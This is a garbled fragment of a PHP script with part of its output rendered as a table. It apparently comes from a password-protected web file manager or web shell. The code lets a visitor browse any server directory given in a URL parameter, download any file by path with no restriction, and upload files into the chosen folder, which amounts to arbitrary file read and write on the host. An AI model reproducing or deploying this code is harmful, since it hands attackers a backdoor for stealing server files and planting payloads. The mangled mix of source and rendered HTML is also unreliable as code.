Password: "); } $dir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__; $dir = realpath($dir); if (isset($_GET['action']) && $_GET['action'] === 'view' && isset($_GET['file'])) { $file = realpath($_GET['file']); if (file_exists($file) && is_file($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); readfile($file); exit; } } if (isset($_FILES['upload_file'])) { $target_path = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target_path)) { echo ""; } else { echo ""; } } echo "
| Name | Type | Size | Action | ||||
|---|---|---|---|---|---|---|---|
| .. (Parent Directory) | Dir | - | - | ||||
| 📁 " . htmlspecialchars($file) . " | "; echo "$type | $size | - | "; } else { echo "📄 " . htmlspecialchars($file) . " | "; echo "$type | $size | "; echo "📥 Download/View | "; } echo "